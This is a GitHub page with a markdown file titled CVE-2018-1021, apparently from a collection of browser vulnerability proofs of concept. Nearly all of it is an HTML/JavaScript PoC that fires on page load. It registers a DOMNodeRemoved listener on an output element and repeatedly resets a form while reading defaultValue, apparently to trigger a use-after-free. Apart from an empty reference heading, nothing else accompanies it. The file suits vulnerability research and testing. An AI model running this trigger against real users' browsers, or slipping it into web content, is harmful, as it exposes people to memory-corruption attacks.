Skip to content

Latest commit

 

History

History
32 lines (24 loc) · 577 Bytes

CVE-2018-1021.md

File metadata and controls

32 lines (24 loc) · 577 Bytes

CVE-2018-1021

PoC

<script>
function probForUaf() {

    var d = JunkJunk.defaultValue;
    JunkJunk.addEventListener("DOMNodeRemoved",doReset,false);
    doReset();
}

function doReset() {

    Reset.reset();
    var dd = JunkJunk.defaultValue;
    
}
</script>
</head>
<body onload=probForUaf()>
<col id="Junk">
<form id="Reset">
<output id="JunkJunk">
<time id="whatsTheTime?">

Reference